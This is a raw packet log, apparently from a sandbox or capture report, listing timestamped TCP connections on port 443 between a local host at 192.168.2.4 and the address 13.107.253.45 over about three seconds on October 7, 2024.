Oct 7, 2024 18:01:37.456614017 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.456696033 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.456857920 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.456871986 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.524372101 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.524848938 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.524864912 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.525285006 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.525294065 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.552300930 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.552751064 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.552822113 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.552885056 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.552902937 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.552916050 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.552922010 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.555639029 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.555699110 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.555775881 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.555916071 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.555932045 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.648202896 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.648230076 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.648277044 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.648292065 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.648325920 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.648504972 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.648530006 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.648561001 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.648569107 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.651542902 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.651595116 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.651662111 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.651791096 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.651802063 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.065586090 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.066477060 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.066504002 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.066937923 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.066946030 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.080514908 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.081011057 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.081021070 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.081401110 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.081406116 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.177314043 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.177861929 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.177988052 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.178086042 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.178132057 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.178178072 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.178195000 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.180886984 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.180927992 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.180999994 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.181180000 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.181193113 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.198383093 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.198455095 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.198523998 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.198664904 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.198664904 CEST	60410	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.198683023 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.198693991 CEST	443	60410	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.201217890 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.201231003 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.201287985 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.201430082 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.201440096 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.204329967 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.204783916 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.204797983 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.205159903 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.205164909 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.206599951 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.206887007 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.206907988 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.207444906 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.207449913 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.310569048 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.310635090 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.310734034 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.310883045 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.310883045 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.310899973 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.310909033 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.314085960 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.314136028 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.314204931 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.314379930 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.314398050 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.318739891 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.319144964 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.319160938 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.319616079 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.319621086 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.327297926 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.327681065 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.327737093 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.327783108 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.327804089 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.327815056 CEST	60411	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.327821016 CEST	443	60411	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.330328941 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.330359936 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.330429077 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.330578089 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.330590010 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.428778887 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.429868937 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.429923058 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.429935932 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.429990053 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.430042028 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.430067062 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.430083990 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.430095911 CEST	60412	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.430102110 CEST	443	60412	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.437421083 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.437470913 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.437530041 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.438402891 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.438421965 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.782079935 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.782644987 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.782676935 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.783119917 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.783124924 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.820390940 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.820926905 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.820960045 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.821535110 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.821540117 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.893953085 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.894191980 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.894251108 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.894259930 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.894319057 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.894339085 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.894356012 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.894367933 CEST	60414	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.894373894 CEST	443	60414	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.898804903 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.898849964 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.898966074 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.899143934 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.899163961 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.932718992 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.932804108 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.932888985 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.933176041 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.933187962 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.933211088 CEST	60413	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.933216095 CEST	443	60413	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.936642885 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.936686039 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.936786890 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.937094927 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.937108994 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.969284058 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.969861984 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.969873905 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.970305920 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.970310926 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.980603933 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.981189013 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.981245995 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:38.981446981 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:38.981458902 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.082938910 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.082967043 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.083008051 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.083096981 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.083142996 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.083282948 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.083301067 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.083311081 CEST	60416	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.083316088 CEST	443	60416	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.086108923 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.086146116 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.086265087 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.086414099 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.086426973 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.127125978 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.127194881 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.127491951 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.127532005 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.127557039 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.127568960 CEST	60415	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.127576113 CEST	443	60415	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.129153013 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.130460024 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.130517006 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.130594969 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.130770922 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.130791903 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.130975962 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.131000996 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.131428003 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.131433010 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.522738934 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.523355007 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.523392916 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.523844004 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.523849964 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.604569912 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.605279922 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.605307102 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.605740070 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.605746031 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.626705885 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.626904011 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.626955986 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.627054930 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.627126932 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.627126932 CEST	60418	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.627175093 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.627227068 CEST	443	60418	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.630017996 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.630064964 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.630141020 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.630351067 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.630367041 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927027941 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927212000 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927455902 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927598000 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927598000 CEST	60417	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927603006 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927618980 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927628994 CEST	443	60417	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927678108 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927748919 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927877903 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927892923 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.927917004 CEST	60419	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.927922010 CEST	443	60419	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.929712057 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.929717064 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.930548906 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.930581093 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.930660009 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.930685997 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.930720091 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.930844069 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.930851936 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.931256056 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931310892 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.931365013 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931371927 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.931406021 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931478977 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931483030 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.931499958 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931518078 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:39.931629896 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:39.931646109 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035648108 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035666943 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035773993 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035799980 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035794973 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.035857916 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.035860062 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.035890102 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.036030054 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.036030054 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.036041975 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.036089897 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.036133051 CEST	443	60420	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.037033081 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.037096024 CEST	60420	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.037098885 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.037158966 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.037190914 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.037190914 CEST	60421	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.037218094 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.037239075 CEST	443	60421	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.039937019 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.039977074 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.040002108 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.040009975 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.040045023 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.040072918 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.040189028 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.040199995 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.040266037 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.040273905 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.393706083 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.394470930 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.394531965 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.394912958 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.394927025 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.504659891 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.504689932 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.504739046 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.504822969 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.504862070 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.505284071 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.505326033 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.505352020 CEST	60422	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.505367041 CEST	443	60422	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.507939100 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.507983923 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.508078098 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.508239985 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.508260012 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.623044968 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.623572111 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.623600960 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.624156952 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.624164104 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.659265995 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.659807920 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.659847021 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.660389900 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.660397053 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.731780052 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.732805967 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.732887030 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.733000994 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.733052969 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.733117104 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.733340025 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.733361959 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.733372927 CEST	60424	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.733378887 CEST	443	60424	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.733514071 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.733556986 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.734091997 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.734113932 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.736664057 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.736707926 CEST	443	60428	13.107.253.45	192.168.2.4
